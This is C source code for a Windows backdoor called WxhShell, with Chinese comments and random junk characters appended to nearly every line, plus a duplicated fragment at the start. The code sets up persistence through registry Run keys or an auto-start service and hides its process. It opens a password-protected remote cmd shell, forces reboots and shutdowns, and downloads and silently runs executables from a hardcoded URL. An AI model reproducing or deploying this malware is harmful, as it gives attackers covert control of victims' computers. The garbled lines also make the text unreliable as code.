} }S')!3[G
XY9%aT*
if(!OsIsNt) { $0P16ZlPC
// 如果时win9x，隐藏进程并且设置为注册表启动 D$H&^,?N
HideProc(); ''q;yKpaz
StartWxhshell(lpCmdLine); Eul3 {+]
} s 72yu}
else &FOq c
if(StartFromService()) ht6}v<x.eA
// 以服务方式启动 6(htpT%J
StartServiceCtrlDispatcher(DispatchTable); CKe72OC
else gp 11/.
// 普通方式启动 Q7F4OS5b
StartWxhshell(lpCmdLine); m8F \ESL
e];IQ|
return 0; |E$q S)y
} 33eOM(`D[
*sB'D+-/
+lFBH(o]X
l*w' O
=========================================== b%"/8rK
` -SC,qHw
y,1U]1TP
,|?#+O{
x5smJ__/
K%/\XnCY
" gN(kRhp
F g):>];<9
#include <stdio.h> N.]~%)K:{
#include <string.h> Yc~lYz+b
#include <windows.h> z(O*DwY#
#include <winsock2.h> ^2%)Nq;O
#include <winsvc.h> 9{S$%D
#include <urlmon.h> }uaFmXy3
PGxv4(%
#pragma comment (lib, "Ws2_32.lib") y0O e)oP
#pragma comment (lib, "urlmon.lib") %G6x\[,
l& sEdEA
#define MAX_USER 100 // 最大客户端连接数 a Iyzt
#define BUF_SOCK 200 // sock buffer -AVT+RE9z
#define KEY_BUFF 255 // 输入 buffer )>Z@')Uk:
Mg8ciV}\xY
#define REBOOT 0 // 重启 l<S3<'&
#define SHUTDOWN 1 // 关机 ]{{%d4
Rc D5X{qS#
#define DEF_PORT 5000 // 监听端口 fwzyCbks
BonjK#
#define REG_LEN 16 // 注册表键长度 =F/R*5:T
#define SVC_LEN 80 // NT服务名长度 i Pl/I
zp'hA
// 从dll定义API (M{wkQTO
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |d6/gSiF
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;O,&MR{;|n
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =)i^E9
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y Kp@n8A
L.K|]]u
// wxhshell配置信息 mKV31wvK}
struct WSCFG { pK_zq
int ws_port; // 监听端口 rij%l+%@#
char ws_passstr[REG_LEN]; // 口令 ~mah.8G
int ws_autoins; // 安装标记, 1=yes 0=no 'aD"v>
char ws_regname[REG_LEN]; // 注册表键名 Wie0r@5E
char ws_svcname[REG_LEN]; // 服务名 F8tMZ,:
char ws_svcdisp[SVC_LEN]; // 服务显示名 .ty2! .
char ws_svcdesc[SVC_LEN]; // 服务描述信息 5RO6YxQ
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ).u>%4=6
int ws_downexe; // 下载执行标记, 1=yes 0=no /Hm/%os
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }lJ|nl`c
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =*+f2
8<Yv:8%B6
}; > 9z-/e
vKdS1Dn1
// default Wxhshell configuration g?}h*~<b
struct WSCFG wscfg={DEF_PORT, TBF{@{.d
"xuhuanlingzhe", ,1<6=vL
1, "OkZ [E)
"Wxhshell", ix?Z:pIS0
"Wxhshell", rXTdhw?+
"WxhShell Service", "av/a
"Wrsky Windows CmdShell Service", e9S*^2;
"Please Input Your Password: ", \fUVWXv
1, wu{%gtx/;^
"http://www.wrsky.com/wxhshell.exe", -H_#et3&i
"Wxhshell.exe" k!+v*+R+V
}; 7pep\
}PDtx:T-
// 消息定义模块 9nlj{(
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6*>vie
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]:?hU^H]<
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i{Q,>Rt
char *msg_ws_ext="\n\rExit."; 7Ot&]M
char *msg_ws_end="\n\rQuit."; ?G&J_L=@Y
char *msg_ws_boot="\n\rReboot..."; Dp^=%F{t
char *msg_ws_poff="\n\rShutdown..."; ~:_10g]r
char *msg_ws_down="\n\rSave to "; TDg<&ND3
XC/M:2$
char *msg_ws_err="\n\rErr!"; Z%3)w.
char *msg_ws_ok="\n\rOK!"; NJoHrhC='
QOJ5
char ExeFile[MAX_PATH]; | ObA=[j
int nUser = 0; 8zJye6f;l
HANDLE handles[MAX_USER]; MfFmJ7>Bg
int OsIsNt; f|s,%AU"i
7(LB}
SERVICE_STATUS serviceStatus; OH 88d:
SERVICE_STATUS_HANDLE hServiceStatusHandle; W7~OU(}[`
B&*`A&^y
// 函数声明 pg<cvok
int Install(void); P{2ED1T\
int Uninstall(void); $3970ni,?O
int DownloadFile(char *sURL, SOCKET wsh); ;\/RgN
int Boot(int flag); ~_-+Q=3
void HideProc(void); {K/xI
int GetOsVer(void); i5*/ZA_
int Wxhshell(SOCKET wsl); !g~u'r'1
void TalkWithClient(void *cs); O4a~(*f
int CmdShell(SOCKET sock); a][Tb0Ox
int StartFromService(void); [Mv'*.7
int StartWxhshell(LPSTR lpCmdLine); poqNiOm4%
HGj[\kU~
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?#ywUEY* i
VOID WINAPI NTServiceHandler( DWORD fdwControl ); y,<\d/YY@
"*d%el\63
// 数据结构和表定义 %]F{aR
SERVICE_TABLE_ENTRY DispatchTable[] = /KO2y0`
{ ?i~mt'O
{wscfg.ws_svcname, NTServiceMain}, 6gq`V,
{NULL, NULL} nK]L0*s
}; f~p[izt
bD1IY1
// 自我安装 @_;vE(!5
int Install(void) o O1Fw1Y
{ i^}DIx{
char svExeFile[MAX_PATH]; :pP l|"
HKEY key; $f6wmI;<y
strcpy(svExeFile,ExeFile); de"+ABR
86Xf6Ea
// 如果是win9x系统，修改注册表设为自启动 T(+*y
if(!OsIsNt) { f2Tz5slE
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I[LHJ4
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TP=#U^g*
RegCloseKey(key); 5 ^tetDz}
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H|;BT
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3J^'x
RegCloseKey(key); f kdJgK
return 0; %b ^.Gw\L
} xw1n;IO4
} U,~Z2L
} sbFA{l3
else { nh"LdHqiDB
%#lJn.o
// 如果是NT以上系统，安装为系统服务 j5 W)9HW:
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {w9GMqq
if (schSCManager!=0) vH?3UW
{ YJ01-
SC_HANDLE schService = CreateService >#xIqxV,
( Z&J.8A]L
schSCManager, =l}XKl->
wscfg.ws_svcname, ~NwX,-ri
wscfg.ws_svcdisp, )TkXdA?.
SERVICE_ALL_ACCESS, 82=>I*0Q
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mH4Jl1S&
SERVICE_AUTO_START, yd`f<Hr<m
SERVICE_ERROR_NORMAL, 'c/Z W
svExeFile, 2&:w_KJ
NULL, E uk[ @1
NULL, k'1iquc#u
NULL, !O/(._YB`
NULL, qMcOSZ%8J
NULL f\vg<lca
); 3*<~;Z' z4
if (schService!=0) EwOi` g
{ E#M4{a1
CloseServiceHandle(schService); V#d8fRm
CloseServiceHandle(schSCManager); _R|8_#yM
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _/a8X:[(
strcat(svExeFile,wscfg.ws_svcname); Ap%tm)@1
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @-jI<g
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1\if XJ
RegCloseKey(key); )9$>i5l
return 0; ADlLodG
} ,*{9g6
} `bRt_XGPmF
CloseServiceHandle(schSCManager); os`#:Ao5
} >l0D,-O]m
} rY(h }z
J[4IO
return 1; >^+c s^jCM
} <a$'tw-8
uI_h__
// 自我卸载 lEiOE]
int Uninstall(void) ]`O??wN
{ w!/se;_H+w
HKEY key; .c2Zr|X
ZHOh(
if(!OsIsNt) { tCP;IU$
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DTSK*a`
RegDeleteValue(key,wscfg.ws_regname); 'wP\VCL2>
RegCloseKey(key); a*KJjl?k
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pksF|VS
RegDeleteValue(key,wscfg.ws_regname); )\Ay4d
RegCloseKey(key); W{*w<a_`
return 0; .VfBwTh7q8
} OLgW.j:Ag
} [n9X5qG~
} Q.])En >i
else { ~;B@ {kFY)
F\hU V[
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); b:>t1S Ul
if (schSCManager!=0) FaE,rzn)iD
{ LuUfdzH
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !&8HA
if (schService!=0) xO` O$ie
{ Oxhc!9F
if(DeleteService(schService)!=0) { dQH9NsV7g
CloseServiceHandle(schService); P[bj{lo
CloseServiceHandle(schSCManager); J+20]jI
return 0; #[aHKq:?b
} I^yInrRh5
CloseServiceHandle(schService); uf&Ke k,
} ~xP4}gs1
CloseServiceHandle(schSCManager); fp2.2 @[
} I2<t?c:Pn<
} 0!!z'm3
vd}Y$X
return 1; ]&RC<imq
} 8 ,<F102(
~xaPq=AH
// 从指定url下载文件 o+T%n1$+V
int DownloadFile(char *sURL, SOCKET wsh) 8<Yqpb
{ 1{7*0cv$iL
HRESULT hr; 2YL)" w
char seps[]= "/"; ;wvhe;!
char *token; ;`MKi5g
char *file; VygiR|f-
char myURL[MAX_PATH]; kw Iw=8q~
char myFILE[MAX_PATH]; exQU
6YeEr!zt%
strcpy(myURL,sURL); 2wki21oY
token=strtok(myURL,seps); zw,=mpf3_
while(token!=NULL) V]$J&aD
{ vfZ.js/
file=token; )"Vd8*e
token=strtok(NULL,seps); ,Rh6(I
} \ZPmPu9^(
lYt|C^
GetCurrentDirectory(MAX_PATH,myFILE); F7~T=X)1
strcat(myFILE, "\\"); 0qUBt9rA
strcat(myFILE, file); 2En^su$
send(wsh,myFILE,strlen(myFILE),0); 8KU5x#
send(wsh,"...",3,0); ZdjmZx%%
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b/eJEL
if(hr==S_OK) /^TXGc.
return 0; XFU['BI
else "0( _
return 1; 20XN5dTFT
ggn:DE"
} a*gzVE7W#n
@3F4Lg6H|
// 系统电源模块 -l#h^
int Boot(int flag) c8cPGm#i
{ vUU)zZB~
HANDLE hToken; i`}nv,
TOKEN_PRIVILEGES tkp; R8U?s/*
g*nh8
if(OsIsNt) { "}(g3Iy
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k;bdzcMkQ
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); QC+K:jL
tkp.PrivilegeCount = 1; eJ3w}"?9s
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `x0GT\O2-
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hH|moj]
if(flag==REBOOT) { ..g?po
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,xeJf6es
return 0; nr t3wqJ
} r(#]Z
else { 9+o`/lk1
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O-D${==
return 0; YAvOV-L
} gLyE,1Z}u
} 18xT2f
else { quPNwNy
if(flag==REBOOT) { _Bp{~-fO
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Qg\{d)X[N
return 0; SQ_w~'(
} l6wN&JHTh
else { uGxh}'&
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gh{Z=_
return 0; */ ~_3
} vCB0x:/
} NQx`u"=
n7r )wy
return 1; bvK fxAih
} d 18>0R
};z[x2l^
// win9x进程隐藏模块 &u@<0 1=
void HideProc(void) I|27%i
{ TNHkHR[&
X?'v FC
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (rM-~h6g
if ( hKernel != NULL ) ,'E+f%
{ #H;yXsR`
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y]5c!N %8
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j6NK7Li
FreeLibrary(hKernel); 2Bf]#l{z
} GjmPpKIu\
$T)EJe
return; Sas&P:#r
} $i^#KZ}-WK
2th>+M~A
// 获取操作系统版本 /R2K3E#
int GetOsVer(void) W.fsW<{4j
{ 1I{^]]qw
OSVERSIONINFO winfo; B`Q~p92
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z)Is:LhS
GetVersionEx(&winfo); BO3#*J5S\
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |V 3AA
return 1; {g%F 3-
else Dp5hr8bT
return 0; bP4<q?FKcN
} -/k;VT|
X~`<ik{q
// 客户端句柄模块 *Z+8L*k97
int Wxhshell(SOCKET wsl) jI-\~
{ ]Ywj@-*q
SOCKET wsh; SP,#KyWP0)
struct sockaddr_in client; UY)e6 Zd
DWORD myID; 9&>)4HNd?
km)5?
while(nUser<MAX_USER) w A0$d
{ o]#M8)=
int nSize=sizeof(client); XpFoSW#K
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E7_)P>aS5
if(wsh==INVALID_SOCKET) return 1; : " ([i"
Vz"Ja
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); K,VN?t<h
if(handles[nUser]==0) )N8[@
closesocket(wsh); 5iG+O4n%
else Hq[vh7Lux
nUser++; 'g4t !__
} 1qR[&=/
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dFu<h
~F</s.
return 0; 'pJ46"D@m
} L=7U#Q/DE
VI}.MnCa
// 关闭 socket Ux<2!vh
void CloseIt(SOCKET wsh) tAPr4n!
{ cWd\Ki
closesocket(wsh); Ac0^`
nUser--; 5BL4VGwJ
ExitThread(0); Lq&;`)BJ
} `W3;LTPEb
S690Y]:h$v
// 客户端请求句柄 h\jV@g$
void TalkWithClient(void *cs) wTpjM@F?J|
{ [@l:C\2
\Bg;^6U
SOCKET wsh=(SOCKET)cs; ),G?f {`!
char pwd[SVC_LEN]; 5pOb;ry")`
char cmd[KEY_BUFF]; q,ry3Nr4n
char chr[1]; k63]Qf=5?N
int i,j; +w(sDH~kd
jLANv{"
while (nUser < MAX_USER) { w3l+BUn:X
P4M*vZq)
if(wscfg.ws_passstr) { 3$.R=MQ7
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }mz6z<pJ_
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *r b/BZX{
//ZeroMemory(pwd,KEY_BUFF); x6, #Jp
i=0; /EN3>25"#
while(i<SVC_LEN) { *1}UK9X;
O#}'QZd'
// 设置超时 $_j\b4]%
fd_set FdRead; qdlz#-B
struct timeval TimeOut; .,)C^hs@
FD_ZERO(&FdRead); Dlc=[kf9
FD_SET(wsh,&FdRead); mSw$? >
TimeOut.tv_sec=8; l>KkK|!T^i
TimeOut.tv_usec=0; 0@FZQ$-
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }b//oe7
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Cr!}qZq
FC'v= *
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gUfLw
pwd=chr[0]; nLA8Hy"8z
if(chr[0]==0xd || chr[0]==0xa) { %n^jho5
pwd=0; /M:R|91:_
break; h 0EpW5
} n9Mi?#xIp
i++; {,Y?+F
} e|`QW|9 .
&\3k(j
// 如果是非法用户，关闭 socket x*8lz\w
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U"1z"PcV
} c$cb2V7,
c.-/e u^|
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #].n0[
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R]0p L
YLr<^G-v
while(1) { aV^wTs#2I
8Z=d+}Gg<
ZeroMemory(cmd,KEY_BUFF); C*;g!~{
aOS:rC
// 自动支持客户端 telnet标准 + _=&7
j=0; $ekB+ t:cj
while(j<KEY_BUFF) { Lo'P;Sb4<}
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =}:9y6QR.
cmd[j]=chr[0]; Y9b|lP7!
if(chr[0]==0xa || chr[0]==0xd) { uQ^r1 $#
cmd[j]=0; r<Il;?S6
break; we6kV-L.
} n=HId:XT
j++; `Qf$]Eoft
} "bO\Wt#Mf
s0}OsHAj
// 下载文件 7pB5o2CD0
if(strstr(cmd,"http://")) { n*tT<
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2EG`
if(DownloadFile(cmd,wsh)) *O>OHX
send(wsh,msg_ws_err,strlen(msg_ws_err),0); '$5.{o`s*1
else a?LrSk`
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); byj}36LN62
} >^cP]gGY
else { ?o@5PL
E*[dc
switch(cmd[0]) { ;Up'+[Vj'C
~m ,xG
// 帮助 zp"Lp>i
case '?': { )!h(oR
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `rt
break; Yx- 2ux
} 0mJvoz\j8
// 安装 K;%P_f/KJP
case 'i': { KO`ftz3 +
if(Install()) k7rFbrLZ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); % D]vKv~<
else zTDB]z!A
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hzr<i4Y=w9
break; t>D|1E"
} %SKp<>;9
// 卸载 Uu~7+oaQ
case 'r': { <h(KIY9T
if(Uninstall()) tx$kD2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); P8tpbdZE-
else l+6y$2QR
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }T@^wY_Ow
break; J%G EIe|
} vwVK^B
// 显示 wxhshell 所在路径 ~F?vf@k
case 'p': { /az}<r8
char svExeFile[MAX_PATH]; .A;e`cKb
strcpy(svExeFile,"\n\r"); _[zZm*
strcat(svExeFile,ExeFile); X$o$8s
send(wsh,svExeFile,strlen(svExeFile),0); oF1{/ERS
break; Kjw4,z%\94
} ~H[
// 重启 _ZM$&6EC
case 'b': { .Dn.|A
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); GZxM44fP
if(Boot(REBOOT)) a;=)`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2nSX90@:
else { ;x 9_
closesocket(wsh); CqMm'6;$a}
ExitThread(0); (@t O1g
} +_.k\CRms
break; >FO4]
} lHRs3+
// 关机 v'R{lXE
case 'd': { W[pOLc-
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 81m3j`b
if(Boot(SHUTDOWN)) UKYQ @m
send(wsh,msg_ws_err,strlen(msg_ws_err),0); NSQ}:m
else { Bw;gl^:UG
closesocket(wsh); DtXQLL*fl(
ExitThread(0); ~0}gRpMW
} :O`7kZ]=n
break; sK)fEx
} RMinZ}/
// 获取shell #w%d
case 's': { Wo&WO e
CmdShell(wsh); ZXCq>
closesocket(wsh); f`ro{p
ExitThread(0); d:Y!!LV-@L
break; $8/=@E{51
} [v@3|@
// 退出 ?]*WVjskE
case 'x': { 5yOIwzr&Uu
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vY 0EffZ
CloseIt(wsh); x)35}mi){L
break; noSkKqP
} #Hn<4g"AjM
// 离开 2C6o?*RjyY
case 'q': { Q6Ay$*y=D
send(wsh,msg_ws_end,strlen(msg_ws_end),0); #'DrgZ)W
closesocket(wsh); uDtml$9rN
WSACleanup(); FEC`dSTI
exit(1); s ;3k#-w
break; 0+-"9pED>E
} ZmLA4<
} a&^HvXO(>(
} fwF&V^Dy
fL^$G;_?3
// 提示信息 B$=oU
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q8m{zSr
} CF,-l B
} (Q]Ww_r~
tPp9=e2[s
return; n-"(lWcp
} &i(\g7%U
1>c^-"#e^
// shell模块句柄 #&k`-@b5|
int CmdShell(SOCKET sock) {yzo#"4Oy
{ pZ`^0#Fo
STARTUPINFO si; w@![rH6~F
ZeroMemory(&si,sizeof(si)); ,`pUz[wl
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n 3eLIA{
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~=P#7l\o1
PROCESS_INFORMATION ProcessInfo; <r>1W~bp.q
char cmdline[]="cmd"; \CU-a`n
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C vOH*K'
return 0; >g>L>{
} T1-.+&<
\ u*R6z
// 自身启动模式 [ML|,kq!
int StartFromService(void) kTW[)
{ 3>T2k }
typedef struct A"3"f8P8a
{ 3(oB[9]s
DWORD ExitStatus; [PIh^DhK
DWORD PebBaseAddress; 5cF7w
DWORD AffinityMask; QmKEl|/{u
DWORD BasePriority; 5!s7`w]8*0
ULONG UniqueProcessId; Al MMN"j
ULONG InheritedFromUniqueProcessId; _:1s7EC
} PROCESS_BASIC_INFORMATION; h@2YQgw`
g`Kh&|GU
PROCNTQSIP NtQueryInformationProcess; 1 u~Xk?
c{"qrwLA
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;RW0Dn)Q
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I^GZ9@UE
Fa0NHX2:
HANDLE hProcess; 17E,Qnf
PROCESS_BASIC_INFORMATION pbi; Z1~`S!(}
Q)/oU\
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WvoJ^{\4N*
if(NULL == hInst ) return 0; R:5uZAx
6/dP)"a('
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q/h, jM
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s~NJy'Y
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HhZ>/5'(
:|HCUZ*H(T
if (!NtQueryInformationProcess) return 0; ==Ah& ){4^
t"$#KP<
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ysH'X95
if(!hProcess) return 0; Z#t}yC%^d
@hF$qevX
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6n?0MMtR
3P*[!KI
CloseHandle(hProcess); D~zk2
gQYs,
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /tG[pg{[
if(hProcess==NULL) return 0; `yYYyB[
ROr|n]aJj
HMODULE hMod; ~f6Q
char procName[255]; O +u?Y
unsigned long cbNeeded; O~OM.:al&
<{cf'"O7)
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nu `R(2/
L2Fi/UWM
CloseHandle(hProcess); (:>Sh0.
5hl!zA?
if(strstr(procName,"services")) return 1; // 以服务启动 #|QA_5
j a'_syn
return 0; // 注册表启动 |/%X8\
} S[e> 8
Ly-}HW(
// 主模块 AIG5a$}&
int StartWxhshell(LPSTR lpCmdLine) gX~lYdA
{ qQwf#&
SOCKET wsl; }vEMG-sxX
BOOL val=TRUE; S=a>rnF
int port=0; &9ERlZ(A
struct sockaddr_in door; \'6%Ld5km
9>6?tb"f*H
if(wscfg.ws_autoins) Install(); ?$6(@>`f&t
]1s6=
port=atoi(lpCmdLine); i<M F8$
YJF|J2u
if(port<=0) port=wscfg.ws_port; /^9=2~b
?/fC"MJq?
WSADATA data; 6Zx)L|B
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 97pfMk1_
QT4&Ix,4T1
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; sdBB(
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8^puC
door.sin_family = AF_INET; 2f5YkmGc";
door.sin_addr.s_addr = inet_addr("127.0.0.1"); KjK-#F,@
door.sin_port = htons(port); iBk1QRdn
#'5{ ?Cb
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 629ogJo8
closesocket(wsl); (H;,E-
return 1; PQrc#dfc|
} "XLFw;o
v(]dIH
if(listen(wsl,2) == INVALID_SOCKET) { ?h:xO\h8
closesocket(wsl); |~B`[p]5H
return 1; hz+c]K
} S|O#KE
Wxhshell(wsl); ap<r)<u
WSACleanup(); D$Ao-6QE W
bR<XQHl
return 0; 1Q7]1fRu
%-L T56T
} d^Rea8
m[nrr6 G"
// 以NT服务方式启动 o|APsQE
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~?Zm3zOCc2
{ |`'WEe2
DWORD status = 0; K(AZD&D
DWORD specificError = 0xfffffff; #'97mg
H`4KhdqR
serviceStatus.dwServiceType = SERVICE_WIN32; riQ0'-p
serviceStatus.dwCurrentState = SERVICE_START_PENDING; m$VCCDv
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; GO3KKuQ=
serviceStatus.dwWin32ExitCode = 0; qS?^(Vt|R
serviceStatus.dwServiceSpecificExitCode = 0; ! u9LZ
serviceStatus.dwCheckPoint = 0; ;( (|0Xa
serviceStatus.dwWaitHint = 0; \s6VOR/
J;N\q
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~!P&LZ
if (hServiceStatusHandle==0) return; F{E`MK~f_
j9R+;u/!
status = GetLastError(); = Atyy
if (status!=NO_ERROR) deOk>v&U
{ 3F$N@K~s
serviceStatus.dwCurrentState = SERVICE_STOPPED; M%OUkcWCk
serviceStatus.dwCheckPoint = 0; ZyV^d3F@$
serviceStatus.dwWaitHint = 0; 13A~."b
serviceStatus.dwWin32ExitCode = status; jd.w7.8
serviceStatus.dwServiceSpecificExitCode = specificError; v,Z?pYYo
SetServiceStatus(hServiceStatusHandle, &serviceStatus); x b!&'cw
return; s=Xg6D
} [&)*jc16
@+sYwlA~
serviceStatus.dwCurrentState = SERVICE_RUNNING; BD [<>Wm
serviceStatus.dwCheckPoint = 0; s8;*Wt
serviceStatus.dwWaitHint = 0; N7!(4|14
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jEm=A8q
} AG|:mQO
/k KVIlO
// 处理NT服务事件，比如：启动、停止 TiKfIv
VOID WINAPI NTServiceHandler(DWORD fdwControl) LCqWL1
{ S&F;~
switch(fdwControl) @[#)zO
{ t')%;N
case SERVICE_CONTROL_STOP: >VJ"e`
serviceStatus.dwWin32ExitCode = 0; QO %;%p*
serviceStatus.dwCurrentState = SERVICE_STOPPED; CYdYa|
serviceStatus.dwCheckPoint = 0; C?]+(P
serviceStatus.dwWaitHint = 0; 7>3+]njw
{ %<1_\N7
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5}2148
} YoSBS
return; X$=/H 6R5Z
case SERVICE_CONTROL_PAUSE: ]+Z,HY@;-
serviceStatus.dwCurrentState = SERVICE_PAUSED; HE-ErEtGB
break; jpZ 7p;
case SERVICE_CONTROL_CONTINUE: x??H%'rP
serviceStatus.dwCurrentState = SERVICE_RUNNING; ~BgNMO;|
break; \^dYmU
case SERVICE_CONTROL_INTERROGATE: 0U!_o2]
break; {Hz;*1?$k
}; T3t w.yh
SetServiceStatus(hServiceStatusHandle, &serviceStatus); QG5c>Q
} ,7;euV5X
"Mh}n-oju
// 标准应用程序主函数 9u>X,2gUR
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jSw>z`'#H
{ <1<0odB
M&KJZ
// 获取操作系统版本 tcD5"ALJ
OsIsNt=GetOsVer(); V]/$ dJ
GetModuleFileName(NULL,ExeFile,MAX_PATH); :/6u*HwZh
T/tCX[}
// 从命令行安装 R#Z m[S
if(strpbrk(lpCmdLine,"iI")) Install(); 6%&DJBU!
}x:}9iphF
// 下载执行文件 J!H)[~2/
if(wscfg.ws_downexe) { _xM3c&VeG
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7b(r'b@N
WinExec(wscfg.ws_filenam,SW_HIDE); PQ"v
} @eP(j@(^
8aVj@x$'
if(!OsIsNt) { Z& bIjp
// 如果时win9x，隐藏进程并且设置为注册表启动 fz%e?@>q
HideProc(); 9 xFX"_J
StartWxhshell(lpCmdLine); '\P+Bu]6&
} [6%y RQ_
